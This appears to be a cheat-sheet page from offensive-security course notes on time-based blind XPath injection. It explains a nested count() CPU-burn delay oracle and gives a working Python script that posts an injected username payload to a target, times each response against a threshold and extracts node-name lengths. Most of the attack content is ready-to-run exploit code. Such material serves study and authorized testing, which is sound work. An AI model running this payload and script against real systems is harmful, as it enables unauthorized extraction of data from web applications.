Time-based
Time-based blind XPath: nested count() delay oracle
XPath 1.0 has no built-in sleep function. A time-based oracle must therefore create a repeatable amount of expensive XPath work and execute that work only when the tested condition is true.
//. selects nodes throughout the XML document. Repeatedly nesting count() over that selection forces the XPath engine to perform enough work to create a measurable delay. DELAY stores this expensive XPath expression rather than a number of seconds.
The injected Boolean expression uses and:
<TESTED_CONDITION> and <EXPENSIVE_DELAY_EXPRESSION>XPath evaluates the left side first. When the tested condition is false, short-circuit evaluation skips the right side because the complete and expression cannot become true. When the condition is true, XPath evaluates the expensive right side and the HTTP response takes longer.
THRESHOLD separates normal and delayed responses. It is calibrated from repeated known-false and known-true controls rather than assumed to equal a fixed delay. Once oracle() returns reliable Python True and False values, the length_of(), extract(), and child-count helpers from the Boolean-response page can be reused unchanged.
import requests, urllib3, time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
URL = "https://target/index.php"
PROXIES = {}
# No sleep() in XPath 1.0: burn CPU over (//.) so a TRUE branch is slow.
DELAY = "count((//.)[count((//.)[count((//.)[count((//.)[count((//.)[count((//.))])])])])])"
THRESHOLD = 1.5 # seconds; calibrate against a known-FALSE request
# 'and' short-circuits, so DELAY only runs when expr is TRUE -> response lags.
def oracle(expr):
data = {"username": f"invalid' or {expr} and {DELAY} and '1'='1", "msg": "test"}
start = time.time()
s.post(URL, data=data, verify=False, timeout=20, proxies=PROXIES)
is_delayed = time.time() - start > THRESHOLD
return is_delayed
# Drop-in: the boolean-blind length_of()/extract()/count() helpers reuse this.
def length_of(target):
n = 0
while not oracle(f"string-length({target})={n}"):
n += 1
return n
print(f"[+] root name length = {length_of('name(/*[1])')}")oracle signal
TRUE -> request takes > 1.5s
FALSE -> request returns fast (< baseline)Find by: xpath blind time-based timing delay no sleep count nested oracle threshold libxml2 cpu burn · Source: CWEE/XPath Injection - Blind Time Based